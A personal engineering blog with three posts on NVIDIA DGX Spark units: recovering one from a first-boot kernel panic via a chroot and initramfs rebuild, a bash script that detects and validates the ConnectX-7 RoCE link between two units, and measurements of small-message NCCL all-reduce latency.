Alessandro Sangiorgi — GPU Performance Engineer

Unboxing Two DGX Sparks, and Recovering One From a Kernel Panic on First Boot

2026-06-28T00:00:00Z

I recently took delivery of two NVIDIA DGX Sparks (the GB10 units I later wired together for the small-message NCCL latency benchmark). The out-of-box experience is genuinely slick — right up until one of the two bricked itself on the very first software update and dropped me into a kernel panic. This post is the other half of the story: the setup flow, and exactly how I brought the dead one back.

The out-of-box setup flow

There’s no monitor-and-keyboard dance to start with. The Spark behaves like a new phone:

Power it on and it broadcasts its own Wi-Fi hotspot.
You join that hotspot from your laptop or phone, which drops you into the Spark’s setup wizard.
Through the wizard you hand the Spark your real Wi-Fi credentials.
Once it’s online, it pulls down and installs the latest software and firmware.

Clean and friendly. Unit one sailed through it. Unit two got to the “install the new software and firmware” step, applied a kernel update, rebooted — and never came back.

The panic

Instead of the dashboard, I got this:

VFS: Unable to mount root fs on unknown-block(0,0)
Kernel panic - not syncing

This is the classic “the kernel booted but there’s no initramfs to hand it a root filesystem” failure. NVIDIA has an official forum guide for exactly this, and it’s worth reading in full because it explains the why: the dashboard-driven kernel update (in their case 6.17.0-1008-nvidia → 6.17.0-1014-nvidia) installs the new kernel image but the post-install script dies before generating the initrd.img. GRUB then boots a kernel that has no initramfs, and because these headless units ship with GRUB_TIMEOUT=0 there’s no boot menu to fall back to a working kernel. You go straight into the wall.

The fix is conceptually simple: boot from external media, chroot into the installed system, regenerate the initramfs, and fix GRUB so this can’t silently brick you again.

Building the recovery USB

A couple of things tripped me up here, so be ready for them.

Get the server ISO, not desktop. I needed ubuntu-26.04-live-server-arm64.iso. The desktop arm64 image simply didn’t show up as an option for me — server is the one to grab.

Write it with dd. On my Linux desktop:

sudo dd if=ubuntu-26.04-live-server-arm64.iso of=/dev/sdb bs=4M status=progress oflag=sync

⚠️ The of=/dev/sdb is my USB stick. Yours may be /dev/sdc, /dev/sdd, etc. Check with lsblk first and triple-check the letter — dd will happily overwrite the wrong disk without asking.

You need a USB-A → USB-C cable (or adapter). The DGX Spark only exposes USB-C ports, and my flash drive was USB-A. Without that cable I’d have been stuck before I started.

Following the guide — and where mine diverged

NVIDIA’s guide assumes you boot the live environment, then jump to a TTY with Ctrl+Alt+F2 and log in as ubuntu. That’s not what happened for me. For some reason the live image never gave me a live session — it went straight into the installer.

So I improvised, and it worked perfectly: on the first screen of the installer wizard, there’s a Help menu in the top corner, and from there you can “Enter shell”. That shell is a perfectly good root environment — exactly what the guide needs. From there everything in the guide applies.

Once in the shell, mount the real root partition and chroot into it (per the guide):

sudo -i
mount /dev/nvme0n1p2 /mnt/spark
mount --bind /dev /mnt/spark/dev
mount --bind /dev/pts /mnt/spark/dev/pts
mount --bind /proc /mnt/spark/proc
mount --bind /sys /mnt/spark/sys
mount --bind /run /mnt/spark/run
mount /dev/nvme0n1p1 /mnt/spark/boot/efi
chroot /mnt/spark /bin/bash

Then regenerate the missing initramfs for the kernel that failed (use your version string):

update-initramfs -c -k 6.17.0-1014-nvidia

The guide then has you clear the half-finished package state with DKMS:

dkms autoinstall --force -k 6.17.0-1014-nvidia
dpkg --configure -a

Here’s my second divergence: the dkms command did not work for me. It errored out rather than completing cleanly. But — and this is the important part — it didn’t matter. I let dpkg --configure -a and the GRUB steps run anyway, and the recovery still went through and the system came back fully working. So if your dkms line throws an error, don’t panic (again): keep going.

Finally, regenerate GRUB and — critically — give yourself a boot menu so a future bad update doesn’t trap you headless:

update-grub

Edit /etc/default/grub:

GRUB_TIMEOUT_STYLE=menu
GRUB_TIMEOUT=5

update-grub

Then exit the chroot, unmount, and reboot:

exit
umount -l /mnt/spark/sys
umount /mnt/spark/proc
umount /mnt/spark/dev/pts
umount /mnt/spark/dev
umount /mnt/spark/boot/efi
umount /mnt/spark
reboot

Pull the USB on the way down, and the Spark boots back into a healthy system.

Takeaways

The hotspot-and-wizard setup is lovely when it works — but the dashboard update path can brick a unit with zero local recovery affordance (GRUB_TIMEOUT=0). Setting a non-zero GRUB timeout the moment a unit is healthy is the single best insurance.
Have an ARM64 Ubuntu Server live USB and a USB-A→USB-C cable ready before you need them. You do not want to be sourcing a USB-C cable while one of your boxes is down.
If the live image dumps you straight into the installer, the installer’s Help → shell is a perfectly good rescue environment.
A failing dkms step isn’t necessarily fatal — update-initramfs + dpkg --configure -a + update-grub were what actually mattered for me.

Two Sparks, one near-heart-attack, and a happy ending. Next stop: wiring them together — which is the NCCL latency post.

Wiring Two DGX Sparks: One Script to Detect, Configure, and Validate the RoCE Link

2026-06-28T00:00:00Z

You plug the ConnectX-7 stacking cable into two DGX Sparks, assign a couple of IPs, and… now what? Before you trust that link with any distributed workload, you want to know three things are true:

The link runs at line rate (~100 Gbps/rail), not pinned at ~13 Gbps by a firmware-throttle trap.
RDMA latency is in the single-digit microseconds.
NCCL collectives actually ride the RoCE fabric — not a silent TCP fallback that looks like it works but runs 50× slower.

Every one of those can fail silently, reporting a plausible-but-wrong number. And before you can even test them, you have to answer a surprisingly annoying question: which network device is the live one? On a fresh Spark the answer is not obvious, and it is not the same name on both boxes.

This post is the thing I wanted and couldn’t find: a single, self-contained script that detects every port straight from the kernel, installs the tooling, and validates the link end-to-end with pass/fail gates. The whole script is at the bottom — copy it, save it, run it. First, the parts worth understanding.

The hardware reality: four RoCE devices, two of them live

Run a detection sweep on a fresh GB10 Spark and you don’t get one NIC — you get four RoCE devices:

 DEVICE STATE NETDEV IPv4
rocep1s0f0 ACTIVE enp1s0f0np0 -
rocep1s0f1 DOWN enp1s0f1np1 -
roceP2p1s0f0 ACTIVE enP2p1s0f0np0 -
roceP2p1s0f1 DOWN enP2p1s0f1np1 -

Two PCI paths (p1s0 and P2p1s0), each a dual-port device. The QSFP stacking cable lights up two rails — the two f0 ports come up ACTIVE; the unused f1 cage stays DOWN. One rail (rocep1s0f0) is plenty to validate the link; the second (roceP2p1s0f0) is there if you want to bond both for peak ~200 Gbps later.

Here is the trap that wastes an afternoon: PCI enumeration can name the live port differently on each box. On one pair I’ve run, the cabled device came up as ...f1 on one Spark and ...f0 on the other. So you cannot hardcode a device name into your NCCL config and copy it to both nodes — one of them will be pointing at a dead port. You have to detect per-box, and configure each rank with its own device.

The script below handles this by reading port state directly from /sys/class/infiniband/*/ports/1/state (which works before any tooling is installed), picking the ACTIVE device that has an IPv4 assigned, and — crucially — feeding NCCL both device names (NCCL_IB_HCA=devA,devB) so each rank matches whichever one is its own.

Step 1 — Find the link interface on each box

No install needed; this is pure sysfs:

for p in /sys/class/infiniband/*/ports/1/state; do
 dev=$(basename "$(dirname "$(dirname "$(dirname "$p")")")")
 st=$(sed 's/.*: //' "$p")
 net=$(ls "/sys/class/infiniband/$dev/device/net" 2>/dev/null | head -1)
 ip=$(ip -4 -o addr show dev "$net" 2>/dev/null | awk '{print $4}')
 printf '%-14s %-8s %-16s %s\n' "$dev" "$st" "${net:--}" "${ip:--}"
done

Note the ACTIVE device and its netdev (e.g. enp1s0f0np0).

Step 2 — Put the two rails on their own subnet

Give the link a private /30 — do not route this over your management Ethernet or Wi-Fi:

# box A (rank 0):
sudo ip addr add 10.0.0.1/30 dev enp1s0f0np0 && sudo ip link set enp1s0f0np0 up mtu 9000
# box B (rank 1):
sudo ip addr add 10.0.0.2/30 dev enp1s0f0np0 && sudo ip link set enp1s0f0np0 up mtu 9000
# confirm the cable actually connects those two ports:
ping -c3 10.0.0.2 # from box A

If the ping fails, the cable is crossed to the other rail on one end — assign that box’s IP to its enP2p1s0f0np0 instead and ping again. (ip addr add is not persistent across reboots; once it works, pin it in netplan/systemd-networkd.)

Step 3 — The three validations (and the traps in each)

Bandwidth — `ib_write_bw` (catches the firmware throttle)

# server (box A):
ib_write_bw -d rocep1s0f0 -i 1 -F --report_gbits
# client (box B):
ib_write_bw -d rocep1s0f0 -i 1 -F --report_gbits 10.0.0.1

 #bytes #iterations BW peak[Gb/sec] BW average[Gb/sec] MsgRate[Mpps]
65536 5000 109.01 109.00 0.207902

~109 Gbps on one rail. Healthy — right at the per-rail PCIe Gen5 x4 limit. The trap: plenty of units ship pinned at ~13–16 Gbps despite negotiating a 200G link. The fix is a ConnectX-7 firmware update plus a full physical NIC power-drain (not just a reboot). If ib_write_bw isn’t ~100 Gbps/rail, every number you take afterward is measured on a crippled link — always run this first.

Latency — `ib_write_lat` (the fabric floor)

ib_write_lat -d rocep1s0f0 -i 1 -F # server (box A)
ib_write_lat -d rocep1s0f0 -i 1 -F 10.0.0.1 # client (box B)

 #bytes #iter t_min[usec] t_max[usec] t_typical[usec] t_avg[usec]
2 1000 1.41 1.66 1.45 1.44

~1.45 µs for a 2-byte RDMA write — the hardware floor. Everything above this is software: collective library overhead, the proxy thread, the GPU↔NIC handoff.

The real one — a NCCL all-reduce over RoCE (catches the TCP fallback)

This is the test that matters, and the one most likely to lie to you. Build nccl-tests, then:

mpirun -np 2 -H 10.0.0.1,10.0.0.2 \
 --mca oob_tcp_if_include 10.0.0.0/30 --mca btl_tcp_if_include 10.0.0.0/30 \
 -x NCCL_NET_PLUGIN=none -x NCCL_IB_MERGE_NICS=1 \
 -x NCCL_IB_HCA=rocep1s0f0,rocep1s0f0 -x NCCL_SOCKET_IFNAME=enp1s0f0np0,enp1s0f0np0 \
 -x NCCL_DEBUG=INFO \
 ./build/all_reduce_perf -b 8 -e 128M -f 2 -g 1

 size in-place time(us) busbw(GB/s) #wrong
8 23.91 0.00 0
4096 27.07 0.15 0
16384 29.54 0.55 0

~24–30 µs for small messages, #wrong 0, and — confirm this in the log — NET/IB, not NET/Socket. Three traps are bundled here:

Silent TCP fallback. The default NCCL stack will happily run your “RoCE” benchmark over plain sockets and report a busbw of ~1–3 GB/s, and you’ll think that’s the number. Force the native path with NCCL_NET_PLUGIN=none + NCCL_IB_MERGE_NICS=1, then read the debug log to confirm NET/IB.
OpenMPI picking the wrong network. Both boxes typically have a docker0 bridge on the same 172.17.x subnet plus Wi-Fi; OpenMPI’s out-of-band layer sees the overlapping subnet, decides the peers are directly reachable, and faceplants with cannot find a corresponding process entry for that peer. Pin it to the link with the two --mca ... _if_include 10.0.0.0/30 flags.
The per-rank device-name asymmetry. Because the live device can be named differently on each box, pass both names to NCCL_IB_HCA and NCCL_SOCKET_IFNAME and let each rank match its own.

(One detail you’ll see in the log: GPU Direct RDMA Disabled. On a GB10 the GDR story is nuanced; the all-reduce stages through host memory. It’s fine for correctness and for these latencies — just know it’s there.)

The script

This wraps all of the above. It detects each box’s device/netdev/IP from sysfs (handling the f0/f1 asymmetry), installs the tooling, builds nccl-tests, runs the three validations, and prints a green/yellow/red verdict. Run it on the master box; it drives the peer over SSH (passwordless — ssh-copy-id <peer> once). On a fresh pair the most robust flow is --install-only on each box, then --skip-install to validate:

# on EACH box:
./spark2_nccl_check.sh --install-only
# then on the master:
./spark2_nccl_check.sh 10.0.0.2 --skip-install

Save it as spark2_nccl_check.sh and chmod +x:

#!/usr/bin/env bash
#
# spark2_nccl_check.sh — bring-up + end-to-end validation for two DGX Sparks
# wired together by the ConnectX-7 stacking cable.
#
# It (1) auto-detects each box's RDMA device / netdev / link IP straight from
# sysfs — handling the f0-vs-f1 PCI-enumeration asymmetry so you never have to
# guess which device to name; (2) installs the tooling (perftest, NCCL, OpenMPI,
# and builds NVIDIA nccl-tests); and (3) validates the link:
# 1. ib_write_bw RDMA bandwidth gate: >= 90 Gbps/rail (healthy link)
# 2. ib_write_lat RDMA latency gate: <= 3 us typical
# 3. all_reduce_perf NCCL/RoCE gate: NET/IB + #wrong 0 + <~60 us @16-32K
#
# Run it ON THE MASTER Spark (it becomes rank 0); it drives the PEER over SSH.
# Requires passwordless SSH master -> peer (run: ssh-copy-id <peer> once).
#
# ./spark2_nccl_check.sh <peer-ssh-host> # full: detect+install+validate
# ./spark2_nccl_check.sh --detect-only # just print THIS box's link info
# ./spark2_nccl_check.sh --install-only # install tooling on THIS box only
# # (robust on fresh boxes: run on
# # each, then validate --skip-install)
# ./spark2_nccl_check.sh <peer> --skip-install # tooling already installed
# ./spark2_nccl_check.sh <peer> --master-ip 10.0.0.1 --peer-ip 10.0.0.2
#
# It does NOT change IPs. If a link interface has no IPv4, it tells you the exact
# `sudo ip addr add` to run on each box first.

set -uo pipefail

# ----- pretty output --------------------------------------------------------
RED=$'\033[31m'; GRN=$'\033[32m'; YLW=$'\033[33m'; BLD=$'\033[1m'; RST=$'\033[0m'
say() { printf '%s\n' "$*"; }
hdr() { printf '\n%s== %s ==%s\n' "$BLD" "$*" "$RST"; }
ok() { printf ' %s[ OK ]%s %s\n' "$GRN" "$RST" "$*"; }
warn() { printf ' %s[WARN]%s %s\n' "$YLW" "$RST" "$*"; }
bad() { printf ' %s[FAIL]%s %s\n' "$RED" "$RST" "$*"; }
die() { printf '%s[error]%s %s\n' "$RED" "$RST" "$*" >&2; exit 1; }

FAILS=0; WARNS=0
gate_ok() { ok "$*"; }
gate_warn() { warn "$*"; WARNS=$((WARNS+1)); }
gate_bad() { bad "$*"; FAILS=$((FAILS+1)); }

# ----- args -----------------------------------------------------------------
PEER=""; DETECT_ONLY=0; INSTALL_ONLY=0; SKIP_INSTALL=0; MIP_OVR=""; PIP_OVR=""
while [ $# -gt 0 ]; do
 case "$1" in
 --detect-only) DETECT_ONLY=1 ;;
 --install-only) INSTALL_ONLY=1 ;;
 --skip-install) SKIP_INSTALL=1 ;;
 --master-ip) MIP_OVR="${2:?}"; shift ;;
 --peer-ip) PIP_OVR="${2:?}"; shift ;;
 -h|--help) grep '^#' "$0" | sed 's/^# \{0,1\}//'; exit 0 ;;
 -*) die "unknown flag: $1" ;;
 *) PEER="$1" ;;
 esac
 shift
done

# ----- detection (pure sysfs + iproute2 — works BEFORE any install) ---------
# Echoes three lines: DEV / NETDEV / IP (IP may be empty). Also prints a full
# inventory of every IB device + state to stderr so you can see "everything".
DETECT_SNIPPET='
 printf " %-14s %-8s %-16s %s\n" DEVICE STATE NETDEV IPv4 >&2
 best_dev=""; best_net=""; best_ip=""
 for p in /sys/class/infiniband/*/ports/1/state; do
 [ -e "$p" ] || continue
 dev=$(basename "$(dirname "$(dirname "$(dirname "$p")")")")
 st=$(cat "$p" 2>/dev/null | sed "s/.*: //")
 net=$(ls "/sys/class/infiniband/$dev/device/net" 2>/dev/null | head -1)
 ip4=$(ip -4 -o addr show dev "$net" 2>/dev/null | awk "{print \$4}" | head -1)
 printf " %-14s %-8s %-16s %s\n" "$dev" "$st" "${net:--}" "${ip4:--}" >&2
 if [ "$st" = "ACTIVE" ] && [ -z "$best_dev" ]; then best_dev="$dev"; best_net="$net"; best_ip="${ip4%/*}"; fi
 # prefer an ACTIVE device that already has an IPv4 (the live, configured rail)
 if [ "$st" = "ACTIVE" ] && [ -n "$ip4" ]; then best_dev="$dev"; best_net="$net"; best_ip="${ip4%/*}"; fi
 done
 printf "%s\n%s\n%s\n" "$best_dev" "$best_net" "$best_ip"
'
# Pipe the snippet to bash on stdin (local) or ssh-bash (peer): no nested-quote
# re-parsing, identical behavior both sides. stderr (the inventory) shows live;
# stdout (the 3 result lines) is captured by the caller.
detect_local() { printf '%s' "$DETECT_SNIPPET" | bash; }
detect_peer() { printf '%s' "$DETECT_SNIPPET" | ssh -o BatchMode=yes "$PEER" bash; }

read_detect() { # $1=local|peer -> sets DEV NET IP (globals via name)
 local out; if [ "$1" = local ]; then out=$(detect_local); else out=$(detect_peer); fi
 DEV=$(printf '%s\n' "$out" | sed -n 1p)
 NET=$(printf '%s\n' "$out" | sed -n 2p)
 IP=$(printf '%s\n' "$out" | sed -n 3p)
}

net30() { local IFS=.; read -r a b c d <<<"$1"; printf '%s.%s.%s.%s/30\n' "$a" "$b" "$c" "$((d & 0xFC))"; }

# ----- DETECT-ONLY mode -----------------------------------------------------
hdr "Detecting RDMA link on this box ($(hostname))"
read_detect local; MDEV="$DEV"; MNET="$NET"; MIP="${MIP_OVR:-$IP}"
[ -n "$MDEV" ] || die "no ACTIVE InfiniBand/RoCE port found on this box — is the cable seated and the link up? (check: ls /sys/class/infiniband, ip link)"
say " -> using device ${BLD}$MDEV${RST} netdev ${BLD}$MNET${RST} ip ${BLD}${MIP:-<none>}${RST}"

if [ "$DETECT_ONLY" = 1 ]; then
 [ -n "$MIP" ] || warn "this rail has no IPv4 — assign one, e.g.: sudo ip addr add 10.0.0.1/30 dev $MNET && sudo ip link set $MNET up"
 exit 0
fi

# tooling install (apt + nccl-tests build). Defined here so --install-only can
# run it LOCALLY on each box (avoids fragile sudo-over-SSH on a fresh install).
INSTALL_SNIPPET='
 set -e
 export DEBIAN_FRONTEND=noninteractive
 sudo apt-get update -qq
 sudo apt-get install -y -qq perftest ibverbs-utils infiniband-diags rdma-core \
 libnccl2 libnccl-dev libopenmpi-dev openmpi-bin build-essential git iproute2
 if [ ! -x "$HOME/nccl-tests/build/all_reduce_perf" ]; then
 [ -d "$HOME/nccl-tests" ] || git clone --depth 1 https://github.com/NVIDIA/nccl-tests "$HOME/nccl-tests"
 MPI_HOME=/usr/lib/$(uname -m)-linux-gnu/openmpi
 make -C "$HOME/nccl-tests" MPI=1 MPI_HOME="$MPI_HOME" NCCL_HOME=/usr -j"$(nproc)" >/tmp/ncclt_build.log 2>&1 \
 || { echo "nccl-tests build FAILED:"; tail -20 /tmp/ncclt_build.log; exit 1; }
 fi
 echo "install-ok $(hostname)"
'
if [ "$INSTALL_ONLY" = 1 ]; then
 hdr "Installing tooling + building nccl-tests on this box ($(hostname))"
 printf '%s' "$INSTALL_SNIPPET" | bash 2>&1 | sed "s/^/ /" || die "install failed"
 ok "tooling ready on $(hostname). Run --install-only on the OTHER box too, then from the master:"
 say " ./spark2_nccl_check.sh <peer-ip> --skip-install"
 exit 0
fi

[ -n "$PEER" ] || die "give the peer's SSH host as the first arg (or use --detect-only). e.g. ./spark2_nccl_check.sh 10.0.0.2"
ssh -o BatchMode=yes -o ConnectTimeout=5 "$PEER" true 2>/dev/null \
 || die "passwordless SSH to '$PEER' failed. Run: ssh-copy-id $PEER"

hdr "Detecting RDMA link on the peer ($PEER)"
read_detect peer; PDEV="$DEV"; PNET="$NET"; PIP="${PIP_OVR:-$IP}"
[ -n "$PDEV" ] || die "no ACTIVE IB/RoCE port on peer $PEER"
say " -> peer device ${BLD}$PDEV${RST} netdev ${BLD}$PNET${RST} ip ${BLD}${PIP:-<none>}${RST}"

# IPs are required for the link tests.
if [ -z "$MIP" ] || [ -z "$PIP" ]; then
 bad "the link rails need IPv4 addresses on the SAME /30 subnet. Assign them, then re-run:"
 say " # on THIS box: sudo ip addr add 10.0.0.1/30 dev $MNET && sudo ip link set $MNET up mtu 9000"
 say " # on $PEER: sudo ip addr add 10.0.0.2/30 dev $PNET && sudo ip link set $PNET up mtu 9000"
 exit 1
fi
SUBNET=$(net30 "$MIP")
say " link subnet: ${BLD}$SUBNET${RST} (rank0=$MIP via $MDEV, rank1=$PIP via $PDEV)"

# ----- INSTALL (over SSH; needs passwordless sudo on the peer. If sudo prompts,
# use --install-only on EACH box first, then validate here --skip-install) -
if [ "$SKIP_INSTALL" = 0 ]; then
 hdr "Installing tooling + building nccl-tests (this box + peer)"
 printf '%s' "$INSTALL_SNIPPET" | bash 2>&1 | sed "s/^/ [local] /" || die "local install failed"
 printf '%s' "$INSTALL_SNIPPET" | ssh "$PEER" bash 2>&1 | sed "s/^/ [peer ] /" \
 || die "peer install failed (sudo over SSH?) — run '--install-only' on $PEER, then re-run with --skip-install"
 ok "tooling ready on both boxes"
else
 warn "skipping install (--skip-install)"
fi

# ----- TEST 1: RDMA bandwidth (ib_write_bw) ---------------------------------
hdr "1/3 RDMA bandwidth (ib_write_bw)"
pkill -f ib_write_bw 2>/dev/null; ssh "$PEER" "pkill -f ib_write_bw 2>/dev/null" || true
ib_write_bw -d "$MDEV" -i 1 -p 12000 -F --report_gbits >/tmp/bw_srv.log 2>&1 &
sleep 2
ssh "$PEER" "ib_write_bw -d $PDEV -i 1 -p 12000 -F --report_gbits $MIP" >/tmp/bw_cli.log 2>&1 || true
wait 2>/dev/null || true
say " --- client result ---"; grep -E '^[[:space:]]*[0-9]' /tmp/bw_cli.log | tail -3 | sed 's/^/ /'
BW=$(grep -E '^[[:space:]]*[0-9]' /tmp/bw_cli.log | tail -1 | awk '{print $4}')
BW=${BW%%.*}
if [ -z "$BW" ]; then gate_bad "no bandwidth result — see /tmp/bw_cli.log"
elif [ "$BW" -ge 90 ]; then gate_ok "bandwidth ${BW} Gbps/rail — healthy"
elif [ "$BW" -ge 30 ]; then gate_warn "bandwidth ${BW} Gbps — below per-rail line rate (cable/PCIe?)"
else gate_bad "bandwidth ${BW} Gbps — FIRMWARE THROTTLE likely (update CX7 fw + full NIC power-drain)"; fi

# ----- TEST 2: RDMA latency (ib_write_lat) ----------------------------------
hdr "2/3 RDMA latency (ib_write_lat)"
pkill -f ib_write_lat 2>/dev/null; ssh "$PEER" "pkill -f ib_write_lat 2>/dev/null" || true
ib_write_lat -d "$MDEV" -i 1 -p 12001 -F >/tmp/lat_srv.log 2>&1 &
sleep 2
ssh "$PEER" "ib_write_lat -d $PDEV -i 1 -p 12001 -F $MIP" >/tmp/lat_cli.log 2>&1 || true
wait 2>/dev/null || true
say " --- client result ---"; grep -E '^[[:space:]]*[0-9]' /tmp/lat_cli.log | tail -2 | sed 's/^/ /'
LAT=$(grep -E '^[[:space:]]*[0-9]' /tmp/lat_cli.log | tail -1 | awk '{print $5}') # t_typical
LATI=${LAT%%.*}
if [ -z "$LATI" ]; then gate_bad "no latency result — see /tmp/lat_cli.log"
elif [ "$LATI" -le 3 ]; then gate_ok "latency ${LAT} us typical — excellent"
elif [ "$LATI" -le 10 ]; then gate_warn "latency ${LAT} us — higher than expected"
else gate_bad "latency ${LAT} us — link unhealthy"; fi

# ----- TEST 3: NCCL all-reduce over RoCE (all_reduce_perf via mpirun) --------
hdr "3/3 NCCL all-reduce over RoCE (all_reduce_perf, 8B..128M)"
MPIRUN=$(command -v mpirun); ARP="$HOME/nccl-tests/build/all_reduce_perf"
[ -x "$ARP" ] || die "all_reduce_perf not built ($ARP) — re-run without --skip-install"
"$MPIRUN" -np 2 -H "$MIP","$PIP" \
 --allow-run-as-root \
 --mca oob_tcp_if_include "$SUBNET" --mca btl_tcp_if_include "$SUBNET" \
 -x NCCL_NET_PLUGIN=none -x NCCL_IB_MERGE_NICS=1 \
 -x NCCL_IB_HCA="$MDEV,$PDEV" -x NCCL_SOCKET_IFNAME="$MNET,$PNET" \
 -x NCCL_DEBUG=INFO \
 "$ARP" -b 8 -e 128M -f 2 -g 1 >/tmp/nccl.log 2>&1 || true

say " --- size / in-place time(us) / busbw(GB/s) / #wrong ---"
# data rows carry out-of-place then in-place results; in-place = last 4 cols:
# ... time(NF-3) algbw(NF-2) busbw(NF-1) #wrong(NF)
grep -E '^[[:space:]]*[0-9]+[[:space:]]' /tmp/nccl.log \
 | awk '{printf " %10s %8s us %8s GB/s wrong=%s\n",$1,$(NF-3),$(NF-1),$NF}' | sed -n '1,12p'

# transport check
if grep -q 'NET/IB' /tmp/nccl.log; then gate_ok "NCCL on NET/IB (RoCE) — not a TCP fallback"
elif grep -q 'NET/Socket' /tmp/nccl.log; then gate_bad "NCCL fell back to NET/Socket (TCP) — RoCE not used; check NCCL_NET_PLUGIN/IB_HCA"
else gate_warn "could not confirm NCCL transport from log (/tmp/nccl.log)"; fi
# correctness
if grep -E '^[[:space:]]*[0-9]' /tmp/nccl.log | awk '{print $NF}' | grep -qvE '^(0|N/A)$'; then
 gate_bad "all-reduce produced WRONG results (nonzero #wrong) — see /tmp/nccl.log"
else gate_ok "all-reduce numerically correct (#wrong 0)"; fi
# small-message latency @ 16384 B
US=$(grep -E '^[[:space:]]*16384[[:space:]]' /tmp/nccl.log | head -1 | awk '{print $(NF-3)}')
USI=${US%%.*}
if [ -z "$USI" ]; then gate_warn "no 16K row in NCCL output (see /tmp/nccl.log)"
elif [ "$USI" -le 60 ]; then gate_ok "16K all-reduce ${US} us — within budget for a per-layer collective"
elif [ "$USI" -le 200 ]; then gate_warn "16K all-reduce ${US} us — usable but high"
else gate_bad "16K all-reduce ${US} us — too slow for latency-coupled work"; fi

# ----- SUMMARY --------------------------------------------------------------
hdr "Summary"
say " master: $MDEV / $MNET / $MIP peer: $PDEV / $PNET / $PIP"
say " logs: /tmp/bw_cli.log /tmp/lat_cli.log /tmp/nccl.log"
if [ "$FAILS" -gt 0 ]; then
 printf '%s RESULT: %d FAIL, %d WARN — the link is NOT ready.%s\n' "$RED" "$FAILS" "$WARNS" "$RST"; exit 1
elif [ "$WARNS" -gt 0 ]; then
 printf '%s RESULT: PASS with %d warning(s) — usable, review above.%s\n' "$YLW" "$WARNS" "$RST"; exit 0
else
 printf '%s RESULT: ALL GREEN — the two Sparks are wired and collectives work.%s\n' "$GRN" "$RST"; exit 0
fi

What a healthy run looks like

== 1/3 RDMA bandwidth (ib_write_bw) ==
65536 5000 109.01 109.00 0.207902
[ OK ] bandwidth 109 Gbps/rail — healthy
== 2/3 RDMA latency (ib_write_lat) ==
2 1000 1.41 1.66 1.45 1.44
[ OK ] latency 1.45 us typical — excellent
== 3/3 NCCL all-reduce over RoCE (all_reduce_perf, 8B..128M) ==
16384 29.54 us 0.55 GB/s wrong=0
[ OK ] NCCL on NET/IB (RoCE) — not a TCP fallback
[ OK ] all-reduce numerically correct (#wrong 0)
[ OK ] 16K all-reduce 29.54 us — within budget for a per-layer collective
== Summary ==
RESULT: ALL GREEN — the two Sparks are wired and collectives work.

Caveats

One configuration, honestly reported: single rail, GDR disabled, a specific firmware/driver/NCCL stack, a /30 link. Loading the second rail (NCCL_IB_MERGE_NICS across both f0 devices) gets you toward ~200 Gbps for bandwidth-bound transfers; it does little for the small-message latency, which is what most tightly-coupled workloads actually pay. The ip addr assignment is not persistent — pin it in your network config once it’s green.

But the point isn’t the exact numbers; it’s that you can now get a trustworthy answer in one command. Before you blame your distributed framework for being slow, run this and rule out the link. Nine times out of ten the fabric is fine — and the one time it isn’t, you’ll know it’s the firmware throttle or a silent TCP fallback, not your code.

The Number Nobody Published: Small-Message NCCL Latency Between Two DGX Sparks

2026-06-25T00:00:00Z

If you go looking for performance numbers on two NVIDIA DGX Sparks wired together over the ConnectX-7 stacking cable, you’ll find the same thing everywhere: bandwidth. NCCL bus bandwidth of ~24 GB/s. RDMA ib_write_bw of ~190 Gbps aggregate. iperf throughput. Forum threads about getting from a throttled 13 Gbps back up to line rate.

What you will not find — anywhere, as of this writing — is the number that actually matters for a latency-bound distributed workload: how long does a small-message collective take? Not a 1 GB all-gather that’s bottlenecked on bandwidth, but a few-kilobyte all-reduce whose cost is pure round-trip latency, the kind that lands on the critical path of tightly-coupled parallel execution and gets paid once per layer, per step, with no overlap.

Bandwidth tells you whether you can move a model’s worth of data. Small-message latency tells you whether a tightly-coupled parallel strategy is even worth attempting between two boxes. The two are unrelated, and only one of them is published. So I measured the other one.

The setup

Two NVIDIA GB10 (DGX Spark) units, each with an onboard ConnectX-7, connected directly by the bundled QSFP stacking cable — no switch. The link runs RoCE (RDMA over Converged Ethernet), so the “InfiniBand” verbs and NCCL NET/IB transport ride on top of an Ethernet link layer.

One architectural detail worth knowing up front, because it explains every per-rail number below: each QSFP port on the GB10 is two 100G MACs behind two PCIe Gen5 x4 links. The driver confirms it:

mlx5_core ...: 126.028 Gb/s available PCIe bandwidth (32.0 GT/s PCIe x4 link)

So a single stream tops out around ~100 Gbps; you only approach 200 Gbps by loading both rails. For latency this is irrelevant — a small message uses one rail and never touches the bandwidth ceiling — but it’s why the bandwidth baseline below reads ~109 Gbps rather than ~200.

The firmware on these units is 28.45.4028. That’s notable: it’s the same version several people report shipping in a throttled state (~13 Gbps instead of ~100). Mine were not throttled. More on that trap later.

Baseline 1: bandwidth (so we know the link is healthy)

# server
ib_write_bw -d rocep1s0f1 -i 1 -F --report_gbits
# client
ib_write_bw -d rocep1s0f0 -i 1 -F --report_gbits 10.0.0.1

 #bytes #iterations BW peak[Gb/sec] BW average[Gb/sec] MsgRate[Mpps]
65536 5000 109.23 109.21 0.208300

~109 Gbps on one rail. Healthy — right at the per-rail PCIe limit, no throttle. This is the part everyone already publishes, and it’s only here to establish that the link is in its good state before we measure latency on it.

Baseline 2: the RDMA latency floor

Before NCCL, the raw verbs floor — the lowest latency the fabric can physically deliver, with no collective library on top. This one is also rarely shown (people quote “~1.5 µs” in prose, but I couldn’t find an actual ib_write_lat table for two Sparks):

# server
ib_write_lat -d rocep1s0f1 -i 1 -F
# client
ib_write_lat -d rocep1s0f0 -i 1 -F 10.0.0.1

 #bytes #iter t_min[usec] t_max[usec] t_typical[usec] t_avg[usec]
2 1000 1.95 2.62 2.01 2.01

~2.0 µs for a 2-byte RDMA write. That’s the hardware floor. Everything above it — the gap between 2 µs and what NCCL actually delivers — is software: collective library overhead, kernel launch, the proxy thread, and the GPU↔NIC handoff.

The headline: small-message NCCL all-reduce

This is the figure that wasn’t out there. Two nodes, one GPU each, all_reduce_perf from nccl-tests over the RoCE link, forced onto the native IB transport:

mpirun -np 2 -H 10.0.0.1,10.0.0.2 \
 --mca oob_tcp_if_include 10.0.0.0/30 \
 --mca btl_tcp_if_include 10.0.0.0/30 \
 -x NCCL_NET_PLUGIN=none -x NCCL_IB_MERGE_NICS=1 \
 -x NCCL_IB_HCA=rocep1s0f1,rocep1s0f0 \
 -x NCCL_SOCKET_IFNAME=enp1s0f1np1,enp1s0f0np0 \
 ./nccl-tests/build/all_reduce_perf -b 16K -e 32K -f 2 -g 1

NCCL confirms it picked the right transport — NET/IB ... rocep1s0f1:1/RoCE, not a socket fallback — and the result:

# size count type redop time algbw busbw #wrong
# (B) (us) (GB/s) (GB/s)
16384 4096 float sum 40.79 0.40 0.40 0
